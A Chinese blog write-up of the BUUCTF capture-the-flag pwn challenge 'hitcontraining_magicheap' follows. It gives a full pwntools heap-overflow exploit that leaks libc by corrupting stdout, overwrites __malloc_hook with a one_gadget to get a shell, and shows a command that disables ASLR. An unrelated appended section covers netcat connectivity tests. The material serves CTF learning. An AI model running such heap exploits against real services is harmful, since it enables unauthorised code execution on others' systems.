BUUCTF【hitcontraining_magicheap】

本文详细介绍了在BUUCTF挑战`hitcontraining_magicheap`中,通过分析程序保护机制,发现堆溢出漏洞,并利用该漏洞进行内存布局操纵,最终实现getshell的目标。主要步骤包括:泄露libc地址、劫持malloc_hook并利用one_gadget gadget执行任意代码。文章还提供了完整的exploit代码以供参考。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

BUUCTF【hitcontraining_magicheap】刷题

例行检查:在这里插入图片描述

程序为64位,除了pie,其他保护机制都开了。放到IDA中分析

漏洞分析:

首先看到一个菜单,
在这里插入图片描述
发现程序是没有输出功能的,这里我们想到了去打stdout结构体来leak出地址,
在这里插入图片描述
这里是有一个后门的,我设置了满足的条件发现没出flag,应该比赛的环境下flag路径是对的,但buuctf路径是不对的,所以我们就去get shell拿flag。

漏洞点在edit()函数中,
在这里插入图片描述
creat_heap()函数获取我们的大小后,在edit()中又再次让我们输入大小,存在堆溢出.

接下来我们就对堆溢出进行利用.

漏洞利用与调试

这里呢,为了调试放便,我借用了rencvn大佬的方法,通过命令:echo 0 > /proc/sys/kernel/randomize_va_space,关掉地址随机化

我们的整体思路:

1.打stdout结构体leak出libc地址

2.劫持malloc_hook,覆盖成one_gadget

3.申请触发one_gadget

我们先申请几个堆块看看堆布局的情况:

add(0x60,'AAA')
add(0x100,'AAA')
add(0x60,'AAA')
add(0x60,'AAA')

此时堆中布局:

在这里插入图片描述
通过堆溢出,改写1号堆块的size位,引起向下合并

free(2)
edit(0,0x70,'A'*0x60+p64(0)+p64(0x181))

此时:
在这里插入图片描述
我们在通过free(1),在申请出来,残留main_arena指针在fastbin中,

free(1)
add(0x100,'A')

此时堆中布局:
在这里插入图片描述在这里插入图片描述
在次利用堆溢出,覆盖main_arena低地址两字节,劫持到stdout结构体附近

edit(1,0x120,'A'*0x100+p64(0)+p64(0x71)+'\xdd\x25')#这里没直接用stdout的低字节,而是stdout-0x43的地址,绕过ubantu16下的堆头检查机制

在这里插入图片描述
接下来覆盖stdout即可leak出地址

add(0x60,'A')

payload = 'A'*0x33
payload += p64(0xfbad1800)
payload += p64(0)*3
payload += '\x00'

add(0x60,payload)
leak = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
success(hex(leak))
libc_base = leak-0x3c5600

接下来正常劫持malloc_hook为one_gadget即可

malloc_hook = libc_base + libc.sym['__malloc_hook']
success(hex(malloc_hook))
one = [0x45226,0x4527a,0xf03a4,0xf1247]
one1 = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_base + one[3]
add(0x60,'ccccc')
free(3)
edit(2,0x80,'A'*0x60+p64(0)+p64(0x71)+p64(malloc_hook-0x23))

add(0x60,'A')
add(0x60,'A'*0x13+p64(one_gadget))

choice(1)
io.recvuntil(':')
io.sendline('20')

io.interactive()

完整exp:

from pwn import *
elf = ELF('./magicheap')
io = remote('node4.buuoj.cn',27557)
#io = process('./magicheap')
#libc = elf.libc
libc = ELF('./libc-2.23.so')
context.log_level='debug'

def choice(c):
	io.recvuntil(':')
	io.sendline(str(c))

def add(size,content):
	choice(1)
	io.recvuntil(':')
	io.sendline(str(size))
	io.recvuntil(':')
	io.send(content)

def edit(index,size,content):
	choice(2)
	io.recvuntil(':')
	io.sendline(str(index))
	io.recvuntil(':')
	io.sendline(str(size))
	io.recvuntil(':')
	io.send(content)

def free(index):
	choice(3)
	io.recvuntil(':')
	io.sendline(str(index))

add(0x60,'AAA')
add(0x100,'AAA')
add(0x60,'AAA')
add(0x60,'AAA')

free(2)
edit(0,0x70,'A'*0x60+p64(0)+p64(0x181))

free(1)

add(0x100,'A')

edit(1,0x120,'A'*0x100+p64(0)+p64(0x71)+'\xdd\x25')
gdb.attach(io)
add(0x60,'A')

payload = 'A'*0x33
payload += p64(0xfbad1800)
payload += p64(0)*3
payload += '\x00'

add(0x60,payload)
leak = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
success(hex(leak))
libc_base = leak-0x3c5600
success(hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
success(hex(malloc_hook))
#one = [0x45226,0x4527a,0xf03a4,0xf1247]
one1 = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_base + one1[3]
add(0x60,'ccccc')
free(3)
edit(2,0x80,'A'*0x60+p64(0)+p64(0x71)+p64(malloc_hook-0x23))

add(0x60,'A')
add(0x60,'A'*0x13+p64(one_gadget))

choice(1)
io.recvuntil(':')
io.sendline('20')


#gdb.attach(io)

io.interactive()

在这里插入图片描述
喜提flag!

### BUUCTF中的网络连接测试方法 在网络渗透测试竞赛(CTF)中,`nc`(Netcat)是一个非常强大的工具,可以用于多种用途,包括端口扫描、文件传输以及简单的客户端/服务器通信。如果目标是在BUUCTF环境中测试网络连接,可以通过以下方式实现: #### 使用 `nc` 测试基本网络连通性 为了验证目标主机上的特定服务是否可用,可以利用 `nc` 命令尝试建立到该服务的连接。例如,假设需要测试 MySQL 数据库的服务状态,则可以直接通过指定 IP 地址和端口号来完成此操作[^2]。 ```bash nc <target_ip> 3306 ``` 上述命令会试图打开与 `<target_ip>` 的 TCP 连接至端口 3306 上运行的服务。如果没有收到任何错误消息或者能够进入交互模式,则说明远程机器上存在监听于该端口的服务,并允许来自当前系统的访问请求。 #### 执行简易吞吐量检测 当iperf不可用时,还可以借助组合使用`dd` 和 `nc` 来执行基础的数据传输速率测量实验[^1]。具体做法如下所示: ##### 步骤一:设置接收方 在一台计算机作为数据接受者启动 netcat 并重定向输入流保存成临时文件。 ```bash nc -lvp 12345 > received_data.bin ``` 这里 `-l` 表示开启侦听模式;`-v` 提供详细的日志输出以便观察进程详情;而最后面定义的是自选开放等待传入链接的本地端口号(此处设为12345)。 ##### 步骤二:配置发送方 另一台设备充当资料提供源角色,在那里先创建一段固定大小的内容再经由管道传递给远端地址。 ```bash dd if=/dev/zero bs=1M count=10 | nc <receiver_ip> 12345 ``` 在此处我们运用 dd 工具生成连续零字节序列模拟实际负载情况,其中参数解释分别为: - `if=/dev/zero`: 输入来源于操作系统特殊装置节点 /dev/zero ,它持续不断地供应无穷尽数量级的 NULL 字符串; - `bs=1M`: 单次读取写入缓冲区尺寸设定为每批次一百万位元组即兆比特(MB),从而加快整体流程效率减少分片次数影响统计准确性; - `count=10`: 总共重复十回前述动作构成最终提交总量大约等于十个MB规模的信息包体。 完成后可通过对比两头各自记录下的时间戳计算得出平均上传速度数值指标。 #### 加密协议分析 对于涉及SSL/TLS保护机制的目标站点而言,单独依靠常规手段可能不足以全面评估其安全性状况。此时可引入专门设计用来枚举支持算法列表并查找潜在漏洞缺陷的专业软件——Testssl.sh 。凭借它的强大功能集可以帮助参赛选手快速定位那些过期失效或是已被证明不安全的加密套件选项进而采取相应措施规避风险隐患[^3]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Leee333

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值